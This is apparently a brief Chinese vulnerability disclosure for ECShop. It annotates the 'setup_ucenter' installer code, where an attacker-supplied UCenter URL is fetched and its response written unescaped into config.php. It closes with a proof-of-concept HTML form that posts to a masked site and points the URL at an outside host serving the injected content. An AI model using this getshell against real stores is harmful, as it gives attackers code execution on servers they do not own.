ECShop的一个getshell

case 'setup_ucenter' :



 .....

    $ucapi = !empty($_POST['ucapi']) ? trim($_POST['ucapi']) : ''; //可控

    $ucip = !empty($_POST['ucip']) ? trim($_POST['ucip']) : '';

 ....

    $ucconfig = dfopen($ucapi.'/index.php', 500, $postdata, '', 1, $ucip);//远程读取内容

    if(empty($ucconfig))

    {

        //ucenter 验证失败

        $result['error'] = 1;

        $result['message'] = '验证失败';



    }

    elseif($ucconfig == '-1')

    {

        //管理员密码无效

        $result['error'] = 1;

        $result['message'] = '创始人密码错误';

    }

    else

    {

        list($appauthkey, $appid) = explode('|', $ucconfig);

        if(empty($appauthkey) || empty($appid))

        {

            //ucenter 安装数据错误

            $result['error'] = 1;

            $result['message'] = '安装数据错误';

        }

        elseif(($succeed = save_uc_config($ucconfig."|$ucapi|$ucip")))  //将读取内容存入配置文件

        {

            $result['error'] = 0;

            $result['message'] = 'OK';

        }

        else

        {

            //config文件写入错误

            $result['error'] = 1;

            $result['message'] = '配置文件写入错误';

        }

    }



    die($json->encode($result));



    break;

function save_uc_config($config)

{

    global $db, $ecs;

    $success = false;



    list($appauthkey, $appid, $ucdbhost, $ucdbname, $ucdbuser, $ucdbpw, $ucdbcharset, $uctablepre, $uccharset, $ucapi, $ucip) = explode('|', $config); //$config完全可控



    $config_file = ROOT_PATH . 'data/config.php';

    $s = file_get_contents($config_file);

    $s = insertconfig($s, "/\?\>/","");



    $link = mysql_connect($ucdbhost, $ucdbuser, $ucdbpw, 1);

    $uc_connnect = $link && mysql_select_db($ucdbname, $link) ? 'mysql' : 'post';

    $s = insertconfig($s, "/define\('EC_CHARSET',\s*'.*?'\);/i", "define('EC_CHARSET', '" . EC_CHARSET . "');");



    $s = insertconfig($s, "/\/\*\=*UCenter\=*\*\//","/*=================UCenter=======================*/");

    $s = insertconfig($s, "/define\('UC_CONNECT',\s*'.*?'\);/i", "define('UC_CONNECT', '$uc_connnect');");

    $s = insertconfig($s, "/define\('UC_DBHOST',\s*'.*?'\);/i", "define('UC_DBHOST', '$ucdbhost');");

    $s = insertconfig($s, "/define\('UC_DBUSER',\s*'.*?'\);/i", "define('UC_DBUSER', '$ucdbuser');");

    $s = insertconfig($s, "/define\('UC_DBPW',\s*'.*?'\);/i", "define('UC_DBPW', '$ucdbpw');");

    $s = insertconfig($s, "/define\('UC_DBNAME',\s*'.*?'\);/i", "define('UC_DBNAME', '$ucdbname');");

    $s = insertconfig($s, "/define\('UC_DBCHARSET',\s*'.*?'\);/i", "define('UC_DBCHARSET', '$ucdbcharset');");

    $s = insertconfig($s, "/define\('UC_DBTABLEPRE',\s*'.*?'\);/i", "define('UC_DBTABLEPRE', '`$ucdbname`.$uctablepre');");

    $s = insertconfig($s, "/define\('UC_DBCONNECT',\s*'.*?'\);/i", "define('UC_DBCONNECT', '0');");

    $s = insertconfig($s, "/define\('UC_KEY',\s*'.*?'\);/i", "define('UC_KEY', '$appauthkey');");

    $s = insertconfig($s, "/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '$ucapi');");

    $s = insertconfig($s, "/define\('UC_CHARSET',\s*'.*?'\);/i", "define('UC_CHARSET', '$uccharset');");

    $s = insertconfig($s, "/define\('UC_IP',\s*'.*?'\);/i", "define('UC_IP', '$ucip');");

    $s = insertconfig($s, "/define\('UC_APPID',\s*'?.*?'?\);/i", "define('UC_APPID', '$appid');");

    $s = insertconfig($s, "/define\('UC_PPP',\s*'?.*?'?\);/i", "define('UC_PPP', '20');");

    $s = insertconfig($s, "/\?\>/","?>");



    return file_put_contents($config_file, $s);

}

<form action="http://www.***.cn/demo/index.php" method="post">

<input name="step" value="setup_ucenter" type="hidden">

UCAPI:<input name="ucapi" type="text" value="http://xssbox.com/curl/"></br>

<input name="submit" value="submit" type="submit">

</form>